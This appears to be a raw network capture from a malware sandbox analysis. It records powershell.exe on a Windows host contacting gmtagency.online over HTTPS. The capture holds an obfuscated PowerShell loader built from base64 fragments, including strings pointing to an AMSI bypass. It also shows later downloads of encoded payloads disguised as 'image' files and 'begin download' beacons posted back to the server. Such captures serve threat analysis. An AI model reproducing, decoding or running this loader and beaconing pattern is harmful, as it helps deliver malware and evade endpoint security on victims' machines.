2024-11-15 00:00:47 UTC	378	IN	Data Raw: 24 76 6b 6f 78 61 71 6e 6b 78 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 6d 68 56 4d 31 4a 35 59 56 63 31 62 6b 74 44 53 6a 46 69 62 58 52 31 59 6a 4e 6b 64 55 39 70 53 57 64 4c 65 55 46 72 57 48 6b 31 52 6d 56 48 54 6d 78 6a 53 46 4a 77 59 6a 49 30 64 56 52 58 56 6e 70 6a 4d 6b 5a 75 57 6c 4e 72 5a 32 5a 55 63 30 35 44 61 56 49 77 53 55 51 77 5a 30 74 46 5a 47 78 6b 51 7a 46 45 59 56 63 78 53 6d 4a 75 54 6a 42 5a 56 7a 56 71 57 6c 4e 43 57 47 46 58 4e 48 70 4e 62 44 6c 52 59 55 68 73 65 6d 46 58 54 6d 68 69 52 54 46 73 59 6c 63 35 65 57 56 54 51 6a 68 4a 52 54 46 73 Data Ascii: $vkoxaqnkx=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("UmhVM1J5YVc1bktDSjFibXR1YjNkdU9pSWdLeUFrWHk1RmVHTmxjSFJwYjI0dVRXVnpjMkZuWlNrZ2ZUc05DaVIwSUQwZ0tFZGxkQzFEYVcxSmJuTjBZVzVqWlNCWGFXNHpNbDlRYUhsemFXTmhiRTFsYlc5eWVTQjhJRTFs
2024-11-15 00:00:47 UTC	1369	IN	Data Raw: 50 62 45 4a 35 59 6a 4a 4f 62 47 4d 7a 54 6e 5a 6a 61 30 35 32 5a 46 63 31 4d 45 39 33 4d 45 74 4b 52 31 46 6e 55 46 4e 42 62 31 49 79 56 6a 42 4d 56 6b 4a 35 59 6a 4a 4f 62 47 4d 7a 54 57 64 6d 51 30 4a 4f 57 6c 64 47 65 6d 52 59 53 6d 78 4d 56 54 6c 70 59 57 31 57 61 6d 52 44 61 33 56 52 4d 6a 6b 78 59 6d 35 52 4e 30 52 52 62 32 74 61 55 30 45 35 53 55 5a 30 56 47 56 59 54 6a 42 61 56 7a 42 31 56 6c 68 4b 63 46 68 55 62 7a 5a 53 57 45 35 71 57 56 68 43 62 46 4a 48 52 6a 42 5a 56 6b 34 77 59 32 31 73 64 56 70 35 61 47 4a 53 56 7a 55 79 59 56 68 4b 64 6d 4a 74 4d 57 78 69 62 6c 4a 6b 54 32 70 77 56 6d 4d 79 56 6e 6c 55 62 55 5a 30 57 6c 4e 72 4e 30 52 52 62 32 74 6b 57 45 70 7a 53 55 51 77 5a 30 6c 74 61 44 42 6b 53 45 4a 36 54 32 6b 34 64 6c 6f 79 4d 54 Data Ascii: PbEJ5YjJObGMzTnZja052ZFc1ME93MEtKR1FnUFNBb1IyVjBMVkJ5YjJObGMzTWdmQ0JOWldGemRYSmxMVTlpYW1WamRDa3VRMjkxYm5RN0RRb2taU0E5SUZ0VGVYTjBaVzB1VlhKcFhUbzZSWE5qWVhCbFJHRjBZVk4wY21sdVp5aGJSVzUyYVhKdmJtMWxiblJkT2pwVmMyVnlUbUZ0WlNrN0RRb2tkWEpzSUQwZ0ltaDBkSEJ6T2k4dloyMT
2024-11-15 00:00:47 UTC	1369	IN	Data Raw: 4e 6c 5a 57 55 6b 64 50 51 7a 56 49 57 6c 68 53 56 47 52 49 53 6e 42 69 62 57 4e 76 53 6b 64 4b 4e 57 52 48 56 6b 4a 6a 62 6b 70 6f 5a 56 4e 72 63 45 52 52 62 7a 30 3d 22 29 29 3b 0a 24 75 6f 70 6b 6b 76 68 72 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 53 6b 64 46 5a 31 42 54 51 57 6c 6b 56 7a 56 79 59 6d 30 35 4d 32 4a 70 53 54 64 4a 51 54 42 4c 5a 45 68 4b 4e 55 6c 49 63 32 64 4b 52 30 56 6e 55 46 4e 43 59 6c 55 7a 62 48 70 6b 52 31 5a 30 54 47 78 57 65 57 46 57 4d 44 5a 50 61 31 5a 36 57 54 4a 47 64 31 70 56 55 6d 68 6b 52 30 5a 55 5a 45 68 4b 63 47 4a 74 59 32 39 4c Data Ascii: NlZWUkdPQzVIWlhSVGRISnBibWNvSkdKNWRHVkJjbkpoZVNrcERRbz0="));$uopkkvhr=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdFZ1BTQWlkVzVyYm05M2JpSTdJQTBLZEhKNUlIc2dKR0VnUFNCYlUzbHpkR1Z0TGxWeWFWMDZPa1Z6WTJGd1pVUmhkR0ZUZEhKcGJtY29L
2024-11-15 00:00:47 UTC	1369	IN	Data Raw: 4d 7a 55 6d 78 69 55 7a 56 54 5a 46 63 31 4d 47 46 58 4d 57 78 4d 61 32 78 31 5a 45 64 57 65 57 49 7a 51 6c 52 61 57 45 6f 79 59 56 64 4f 62 47 4e 36 63 32 64 6a 53 46 5a 70 59 6b 64 73 61 6b 6c 48 54 6e 4e 5a 57 45 35 36 53 55 5a 6b 63 47 4a 71 54 58 6c 4a 53 48 4e 6e 56 7a 42 53 63 32 4a 46 62 48 52 6a 52 7a 6c 35 5a 45 4e 6e 61 57 51 3d 22 29 29 3b 0a 24 71 61 70 73 76 63 6d 61 76 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 6c 42 31 59 6d 78 70 59 79 78 54 64 47 46 30 61 57 4d 3d 22 29 29 3b 0a 24 62 68 6d 74 6f 71 75 77 61 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e Data Ascii: MzUmxiUzVTZFc1MGFXMWxMa2x1ZEdWeWIzQlRaWEoyYVdObGN6c2djSFZpYkdsaklHTnNZWE56SUZkcGJqTXlJSHNnVzBSc2JFbHRjRzl5ZENnaWQ="));$qapsvcmav=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("blB1YmxpYyxTdGF0aWM="));$bhmtoquwa=[System.Text.
2024-11-15 00:00:47 UTC	515	IN	Data Raw: 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 33 6c 7a 64 47 55 3d 22 29 29 3b 0a 24 68 6b 63 73 74 77 62 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 53 35 44 62 33 4a 6c 22 29 29 3b 0a 24 62 6f 77 6e 73 78 68 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 55 33 6c 7a 64 47 55 3d 22 29 29 3b 0a 24 65 65 79 74 67 78 77 Data Ascii: g([System.Convert]::FromBase64String("U3lzdGU="));$hkcstwb=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bS5Db3Jl"));$bownsxh=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("U3lzdGU="));$eeytgxw
2024-11-15 00:00:47 UTC	1369	IN	Data Raw: 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 61 55 6c 75 61 58 52 47 59 57 6c 73 5a 57 51 3d 22 29 29 3b 0a 24 70 62 6d 72 73 64 6d 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 31 7a 22 29 29 3b 0a 24 6b 77 6b 62 62 7a 6f 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 53 35 4e 59 57 35 68 5a 32 56 74 5a 57 35 30 4c 6b 46 31 64 47 39 74 59 58 52 70 62 32 34 75 Data Ascii: rt]::FromBase64String("aUluaXRGYWlsZWQ="));$pbmrsdm=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW1z"));$kwkbbzo=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bS5NYW5hZ2VtZW50LkF1dG9tYXRpb24u
2024-11-15 00:00:47 UTC	72	IN	Data Raw: 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 28 24 75 6f 70 6b 6b 76 68 72 20 2b 20 24 76 6b 6f 78 61 71 6e 6b 78 29 29 29 29 3b 0a Data Ascii: tString([System.Convert]::FromBase64String(($uopkkvhr + $vkoxaqnkx))));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:50 UTC	369	OUT	GET /file3/77bd1c037f735ab3a82a0b38c9abbc302a447e1b0cdcb740bb8ed41e8bc1e28fe55f5292ac48064cc9f6b0f0207f961cf888ab6d838c88b93e528dcb49285dc5d3868388891d022d7c4d5917e79efb77320897b36777029f8dbedbda7d9256fa/Windows%20Defender/4/4/user/196 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online
2024-11-15 00:00:50 UTC	1072	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:50 GMT Content-Type: application/octet-stream Content-Length: 2872 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Cg5v6i%2BESf%2BnBvIuPM5AbM4YZjnx7sulmqGvJw12Prti1bslaXFDP0rHJt7m0L9ZFfc3Pp8mgLhZ%2FScErMTAh2e08k21lxjJ1lQJe%2FrQ37aMt%2F%2FDJfQWPO7bS%2Br%2BP2ucv9ACtl8L3ATR"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=27596&sent=60450&recv=30311&lost=0&retrans=0&sent_bytes=84534764&recv_bytes=1454593&delivery_rate=40500340&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af69bef815202-DEN server-timing: cfL4;desc="?proto=TCP&rtt=19233&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1007&delivery_rate=148170&cwnd=32&unsent_bytes=0&cid=089e4f15a2f42aa6&ts=473&x=0"
2024-11-15 00:00:50 UTC	297	IN	Data Raw: 25 71 65 75 79 74 67 68 73 69 78 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 53 47 47 77 5b 31 6d 45 50 56 65 4a 53 33 69 72 56 57 65 52 63 46 4f 74 55 56 65 50 54 31 4b 43 5b 55 4c 76 4f 31 53 53 63 33 65 4b 50 31 47 6f 52 6a 65 31 63 46 57 55 50 55 6d 4b 50 31 71 44 58 6b 48 30 4c 47 71 59 4f 55 43 4c 57 6d 48 30 58 31 65 57 60 54 38 32 4c 44 75 4b 50 31 47 6f 52 54 4f 52 4c 6d 6d 59 64 45 47 60 54 31 44 34 52 54 4f 4a 60 46 4f 48 50 6f 4f 69 57 31 34 6e 5b 44 65 72 65 6c 4b 71 4e 59 47 6b 4c 6b 6d 30 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 30 71 Data Ascii: %qeuytghsix<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#SGGw[1mEPVeJS3irVWeRcFOtUVePT1KC[ULvO1SSc3eKP1GoRje1cFWUPUmKP1qDXkH0LGqYOUCLWmH0X1eW`T82LDuKP1GoRTORLmmYdEG`T1D4RTOJ`FOHPoOiW14n[DerelKqNYGkLkm0RVq{UjOoLDuKP1GoRTORc0q
2024-11-15 00:00:50 UTC	1369	IN	Data Raw: 54 4f 43 5b 31 6d 45 54 6b 47 6b 63 56 75 6f 54 47 4f 43 60 56 47 48 54 6b 43 6b 52 44 31 33 55 49 6a 34 63 6c 4b 58 54 6c 69 60 4c 6d 5b 30 56 55 4f 73 65 56 48 78 4f 59 4f 69 57 7b 57 72 55 49 71 4a 60 54 34 44 50 55 4f 51 53 31 34 70 55 6c 71 4b 4c 6d 6a 78 56 55 57 60 60 6a 5b 70 56 57 53 6f 4c 44 38 49 56 6c 69 5b 60 6c 75 37 56 56 71 47 64 6a 30 37 60 46 69 4e 60 6a 44 7b 55 54 65 53 4c 31 38 54 58 7b 4f 5b 57 47 71 72 55 54 53 6f 4f 44 30 59 53 6c 6d 4e 53 31 6d 35 55 57 53 4b 4f 44 31 78 52 59 69 4f 63 57 54 79 56 56 71 6f 64 6a 34 37 58 32 65 60 57 44 71 71 55 59 71 47 4f 44 30 44 60 7b 47 5b 57 30 6a 76 55 6d 65 57 4c 54 38 49 52 59 6d 4e 53 30 4b 71 55 6a 53 43 4c 30 71 75 56 59 6d 60 60 54 6a 32 53 47 47 77 5b 31 6d 45 50 56 65 6a 52 44 6e 30 Data Ascii: TOC[1mETkGkcVuoTGOC`VGHTkCkRD13UIj4clKXTli`Lm[0VUOseVHxOYOiW{WrUIqJ`T4DPUOQS14pUlqKLmjxVUW``j[pVWSoLD8IVli[`lu7VVqGdj07`FiN`jD{UTeSL18TX{O[WGqrUTSoOD0YSlmNS1m5UWSKOD1xRYiOcWTyVVqodj47X2e`WDqqUYqGOD0D`{G[W0jvUmeWLT8IRYmNS0KqUjSCL0quVYm``Tj2SGGw[1mEPVejRDn0
2024-11-15 00:00:50 UTC	1206	IN	Data Raw: 65 44 54 56 38 4a 50 30 5b 4e 4c 47 6d 58 52 6b 43 4c 57 6a 34 7b 56 6d 65 56 65 31 6d 45 4c 59 71 4b 53 44 54 79 55 32 62 76 52 31 4f 58 4c 44 34 45 63 6b 43 4e 50 33 62 76 52 31 53 53 63 7b 31 3c 23 28 28 3a 0b 25 6d 6e 73 78 72 6a 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 52 6a 69 56 64 56 47 55 50 55 6d 4b 50 31 71 77 5b 44 69 52 65 33 4f 37 63 32 5b 4c 4c 6c 53 31 5b 44 65 46 63 6d 71 59 4f 56 71 6d 54 7b 57 33 58 6c 30 35 62 46 4b 75 57 59 5b 60 63 56 79 7b 56 6d 53 4b 65 6a 38 44 5b 46 30 60 53 31 5b 75 55 54 53 4b 4f 44 30 49 53 6c 75 60 60 6a 34 75 56 56 30 4f Data Ascii: eDTV8JP0[NLGmXRkCLWj4{VmeVe1mELYqKSDTyU2bvR1OXLD4EckCNP3bvR1SSc{1<#((:%mnsxrj<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#RjiVdVGUPUmKP1qw[DiRe3O7c2[LLlS1[DeFcmqYOVqmT{W3Xl05bFKuWY[`cVy{VmSKej8D[F0`S1[uUTSKOD0ISlu``j4uVV0O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:51 UTC	287	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b83770e2b318095af45e58b24db407ff2f HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 305
2024-11-15 00:00:51 UTC	305	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 67 6d 74 61 67 65 6e 63 79 2e 6f 6e 6c 69 6e 65 2f 66 69 6c 65 32 2f 38 37 66 64 61 66 30 32 38 30 61 64 66 33 66 62 63 34 38 62 30 66 66 34 32 33 35 30 61 66 32 66 62 64 34 65 63 37 62 62 32 66 31 66 37 36 30 32 36 30 31 35 36 38 34 31 38 66 37 35 37 36 33 39 35 66 34 36 37 36 37 32 62 37 33 33 38 38 37 66 64 34 36 66 32 64 64 65 34 63 38 33 66 30 30 30 35 63 63 37 35 37 30 35 32 31 38 34 64 33 66 32 31 34 66 34 36 63 30 62 30 66 30 63 66 35 39 39 38 63 37 64 35 35 61 38 31 38 66 65 31 65 39 33 66 61 33 36 66 33 62 66 66 31 64 39 39 30 64 38 36 33 63 64 30 61 34 31 32 64 39 31 31 36 30 62 37 36 38 33 34 37 62 33 39 36 39 38 30 35 36 31 32 65 35 64 63 38 62 Data Ascii: [ "\"begin download https://gmtagency.online/file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467672b733887fd46f2dde4c83f0005cc757052184d3f214f46c0b0f0cf5998c7d55a818fe1e93fa36f3bff1d990d863cd0a412d91160b768347b3969805612e5dc8b
2024-11-15 00:00:52 UTC	951	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:52 GMT Content-Length: 0 Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDM%2FnzGB7zL%2F1FeXdheYhZCYoTKgzUz4XTFv7kiGEkqkvEsxvnHFMXJEVqX70x1RO4G9yy%2F%2BmR0DDJRN4JD3VzQn8m8ZZeV5d04RtEbrDtJm%2B6IaUCOTYCehf7TlYCIYSg4WPaPsr58N"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=16790&sent=41493&recv=21665&lost=0&retrans=35&sent_bytes=57349287&recv_bytes=1389051&delivery_rate=49991580&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6a4286de65f-DEN server-timing: cfL4;desc="?proto=TCP&rtt=22757&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2840&recv_bytes=1252&delivery_rate=127414&cwnd=32&unsent_bytes=0&cid=baca19ec864fe44b&ts=667&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:53 UTC	367	OUT	GET /file2/87fdaf0280adf3fbc48b0ff42350af2fbd4ec7bb2f1f7602601568418f7576395f467672b733887fd46f2dde4c83f0005cc757052184d3f214f46c0b0f0cf5998c7d55a818fe1e93fa36f3bff1d990d863cd0a412d91160b768347b3969805612e5dc8bc7a45d72cd6061123b65c9398 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online
2024-11-15 00:00:53 UTC	1068	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 00:00:53 GMT Content-Type: application/octet-stream Content-Length: 2868 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cShlvt%2BSixP0Lp%2Bq%2FMcudX1URPC7Q%2FLr6jva9eQ%2FpWSIEYz2rpgi4CzvrsG08fNWJ0PSrbK83g1w3YjzuEilPY2QZAfO6uj9WkbZgHHslxqojwga%2FBbAqlGrjBgqApYWyGA8QniAzMz%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=15314&sent=16170&recv=8619&lost=0&retrans=0&sent_bytes=22153985&recv_bytes=770456&delivery_rate=48105922&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8e2af6acbecae65f-DEN server-timing: cfL4;desc="?proto=TCP&rtt=22767&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=1005&delivery_rate=127251&cwnd=32&unsent_bytes=0&cid=8cb1ff7cb3673b55&ts=668&x=0"
2024-11-15 00:00:53 UTC	301	IN	Data Raw: 25 67 78 75 70 6f 6e 75 73 7b 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 54 6f 43 68 4c 6b 53 6f 57 55 4b 56 65 57 71 45 50 6b 65 44 54 56 38 6f 52 54 4f 43 5b 33 4f 49 53 6f 6d 5b 57 7b 43 77 52 54 5b 31 54 57 54 76 4e 56 6d 69 63 57 5b 70 5b 44 58 76 5b 31 71 49 64 49 5b 60 4c 45 47 37 56 6f 6d 43 62 44 53 53 63 31 34 45 60 54 47 6f 52 54 4f 43 60 6a 6d 47 55 6f 5b 68 63 6d 71 72 58 33 34 53 5b 30 6d 75 4e 56 75 6d 54 31 48 76 58 6f 6d 42 64 6c 53 48 52 6f 43 68 63 56 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 6b 4c 30 4b 34 58 57 62 30 63 6d 47 75 4e 56 75 6d 54 31 44 34 Data Ascii: %gxuponus{<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#ToChLkSoWUKVeWqEPkeDTV8oRTOC[3OISom[W{CwRT[1TWTvNVmicW[p[DXv[1qIdI[`LEG7VomCbDSSc14E`TGoRTOC`jmGUo[hcmqrX34S[0muNVumT1HvXomBdlSHRoChcVONP3mC[1mEPVukL0K4XWb0cmGuNVumT1D4
2024-11-15 00:00:53 UTC	1369	IN	Data Raw: 6e 76 57 6a 62 35 65 47 4f 74 55 6f 5b 68 60 56 72 32 53 47 47 77 5b 31 6d 45 50 56 65 4a 53 32 69 33 56 6b 40 79 63 46 4c 7b 55 6c 69 60 4c 6d 5b 37 52 54 50 76 5b 30 47 45 5b 32 43 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 4f 68 4c 6c 53 4e 56 6d 69 4e 64 6d 6d 59 5b 46 79 6b 64 54 47 78 54 47 4f 43 60 33 4c 7b 54 6f 6d 69 57 7b 57 74 54 56 31 34 60 33 57 54 62 31 34 45 60 54 47 6f 52 54 4f 43 60 33 4b 49 4e 56 34 54 57 30 5b 37 58 7b 4b 46 63 6d 71 58 55 56 65 4d 64 6b 43 6f 52 56 6a 76 65 44 79 55 4c 49 53 4c 54 7b 43 31 55 47 4c 76 60 54 38 32 4c 44 75 44 54 56 38 6f 52 54 4f 43 5b 31 71 49 60 46 79 5b 57 30 4b 72 58 33 34 4f 5b 30 43 55 50 6a 47 6d 4c 7b 40 32 53 47 47 77 5b 31 6d 45 50 56 65 4a 53 32 53 72 5b 57 4f 43 4e 54 6d 45 52 6a 53 68 4c Data Ascii: nvWjb5eGOtUo[h`Vr2SGGw[1mEPVeJS2i3Vk@ycFL{Uli`Lm[7RTPv[0GE[2CQe{CMRTOC[1mEToOhLlSNVmiNdmmY[FykdTGxTGOC`3L{TomiW{WtTV14`3WTb14E`TGoRTOC`3KINV4TW0[7X{KFcmqXUVeMdkCoRVjveDyULISLT{C1UGLv`T82LDuDTV8oRTOC[1qI`Fy[W0KrX34O[0CUPjGmL{@2SGGw[1mEPVeJS2Sr[WOCNTmERjShL
2024-11-15 00:00:53 UTC	1198	IN	Data Raw: 34 50 56 75 69 54 31 47 31 58 6a 69 53 5b 31 71 49 52 6b 57 6a 53 30 5b 42 58 33 34 4a 60 46 57 55 4f 54 30 60 57 7b 57 74 5b 44 65 6f 4f 31 6d 45 54 6f 43 4d 64 59 4f 76 52 54 69 7b 5b 31 71 49 52 6b 57 6a 53 30 5b 42 58 33 34 4a 60 46 57 56 62 33 75 69 57 6b 43 6f 54 47 4f 43 60 30 6d 74 63 45 43 60 57 54 5b 34 58 33 30 46 4f 57 65 34 54 6f 43 58 54 31 47 31 56 56 34 6e 65 6c 4f 71 50 59 69 51 64 54 48 34 53 47 47 77 52 6a 4f 57 63 49 57 6a 63 55 6d 78 56 6d 4c 79 53 6c 57 48 50 6f 6d 60 56 44 34 37 58 57 62 34 65 54 6d 45 60 46 4b 57 4c 33 79 37 5b 44 65 56 65 44 79 72 54 6c 79 6d 52 47 47 30 54 6d 62 30 60 6c 48 78 54 6f 43 68 63 56 53 6a 55 33 71 76 57 6d 5b 47 56 55 53 4c 60 33 53 72 5b 44 5b 4e 4c 46 4f 75 63 49 57 60 64 56 65 73 56 56 34 72 4c 47 Data Ascii: 4PVuiT1G1XjiS[1qIRkWjS0[BX34J`FWUOT0`W{Wt[DeoO1mEToCMdYOvRTi{[1qIRkWjS0[BX34J`FWVb3uiWkCoTGOC`0mtcEC`WT[4X30FOWe4ToCXT1G1VV4nelOqPYiQdTH4SGGwRjOWcIWjcUmxVmLySlWHPom`VD47XWb4eTmE`FKWL3y7[DeVeDyrTlymRGG0Tmb0`lHxToChcVSjU3qvWm[GVUSL`3Sr[D[NLFOucIW`dVesVV4rLG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	188.114.97.3	443	6204	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-15 00:00:54 UTC	287	OUT	POST /2b4078cc626cf9f1ca848fab93b1338a6070d7977a6e0881ab4b11283b12e5b81af370a0fc53a2749dd204bd2d59a650 HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: gmtagency.online Content-Length: 305
2024-11-15 00:00:54 UTC	305	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 67 6d 74 61 67 65 6e 63 79 2e 6f 6e 6c 69 6e 65 2f 66 69 6c 65 32 2f 36 30 65 66 37 36 65 39 64 62 37 31 31 36 36 39 33 33 36 34 64 36 64 36 64 35 63 34 36 65 63 61 34 36 64 64 33 39 34 30 62 62 64 66 35 39 30 30 37 63 35 32 64 61 31 35 61 38 35 63 31 36 33 37 63 33 64 36 38 65 64 39 62 35 32 38 31 38 37 63 35 64 62 34 37 31 38 35 39 37 66 30 32 64 32 31 30 37 32 63 32 63 30 33 34 65 32 37 30 36 30 36 36 66 33 31 61 34 63 31 65 35 33 39 30 38 37 39 63 36 39 36 65 61 64 66 30 31 38 31 31 62 32 36 62 62 37 64 66 65 30 36 36 37 37 66 39 37 64 62 63 65 66 32 30 62 65 34 62 35 34 62 30 63 63 62 31 33 38 66 33 61 63 62 62 38 31 31 35 32 31 39 37 65 39 35 35 63 63 Data Ascii: [ "\"begin download 